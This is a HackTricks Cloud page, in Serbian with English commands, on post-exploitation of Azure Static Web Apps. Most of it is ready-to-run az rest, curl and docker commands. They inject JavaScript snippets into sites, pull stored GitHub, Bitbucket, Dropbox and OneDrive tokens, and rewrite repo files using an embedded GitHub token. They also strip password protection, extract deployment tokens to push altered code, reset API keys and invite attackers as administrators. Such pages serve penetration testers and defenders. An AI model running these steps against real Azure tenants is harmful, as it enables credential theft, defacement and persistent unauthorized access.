Az - Static Web Apps Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Azure Static Web Apps
Za više informacija o ovom servisu pogledajte:
Microsoft.Web/staticSites/snippets/write
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo može omogućiti attacker-u da inject-uje JS kod unutar web app i steal-uje osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Pročitaj konfigurisane kredencijale trećih strana
Kao što je objašnjeno u sekciji App Service:
Pokretanjem sledeće komande moguće je pročitati kredencijale trećih strana konfigurisane u tekućem nalogu. Imajte na umu da, na primer, ako su neki Github kredencijali konfigurisani pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
Ovde su neki primeri komandi za proveru tokena:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Prepisivanje fajla - prepisivanje ruta, HTML, JS…
Moguće je prepisati fajl unutar Github repozitorijuma koji sadrži aplikaciju pomoću Azure-a koji poseduje Github token, slanjem zahteva kao u sledećem koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i commit poruku.
Ovo mogu iskoristiti napadači da u suštini promene sadržaj web aplikacije kako bi servirali zlonamerni sadržaj (ukrali pristupne podatke, mnemoničke ključeve…) ili jednostavno da preusmere određene putanje na sopstvene servere prepisivanjem staticwebapp.config.json fajla.
Warning
Imajte na umu da, ako napadač uspe da na bilo koji način kompromituje Github repozitorijum, on takođe može prepisati fajl direktno iz Github-a.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
### Microsoft.Web/staticSites/config/write
Sa ovom dozvolom moguće je promeniti lozinku koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao u nastavku:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Ova dozvola omogućava pribavljanje API key deployment token za static app.
Korišćenje az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Korišćenje AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Zatim, da biste ažurirali aplikaciju koristeći token možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom kako Github Action https://github.com/Azure/static-web-apps-deploy radi, pošto je to ona koju Azure podrazumevano koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
Tip
Za deploy aplikacije možete koristiti alat
swasa https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ili pratiti sledeće osnovne korake:
- Preuzmite repo https://github.com/staticwebdev/react-basic (ili bilo koji drugi repo koji želite da postavite) i izvršite
cd react-basic. - Izmenite kod koji želite da postavite
- Postavite ga pokretanjem (Zapamtite da promenite
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je Deployment Authorization Policy postavljena na Github. Da biste koristili token biće vam potrebna dozvola
Microsoft.Web/staticSites/writeda promenite metod deploy-a i koristite API token.
Microsoft.Web/staticSites/write
Sa ovom dozvolom moguće je da promenite izvor static web app na drugi Github repository, međutim neće biti automatski provisionovan jer to mora da se uradi iz Github Action.
Međutim, ako je Deployment Authorization Policy postavljena na Github, moguće je ažurirati aplikaciju iz novog izvornog repozitorijuma!.
U slučaju da Deployment Authorization Policy nije postavljena na Github, možete je promeniti istom dozvolom Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Primer Github Action za deploy aplikacije:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Sa ovom dozvolom moguće je reset the API key of the static web app i potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Ovo dopuštenje omogućava kreiranje pozivnice za korisnika da pristupi zaštićenim putanjama unutar static web app-a sa određenom dodeljenom ulogom.
Login se nalazi na putanji kao što je /.auth/login/github za github ili /.auth/login/aad za Entra ID i korisnik može biti pozvan sledećom komandom:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repozitorijumu, ali ne može da zaobiđe branch protections produkcijske grane (obično main) da deploy-uje zlonamernu verziju aplikacije na staging URL.
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Imajte na umu da po defaultu external PRs neće pokretati workflows osim ako prethodno nisu merged bar 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repo i zatim poslati zlonamerni PR u repo da deploy-uje zlonamernu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr.
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) čak i ako se deployment obavlja pomoću IDToken-a. To znači da pošto external PR neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ovde ubaci proizvoljan token bez prihvatanja PR-a, ovaj napad zapravo neće uspeti.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

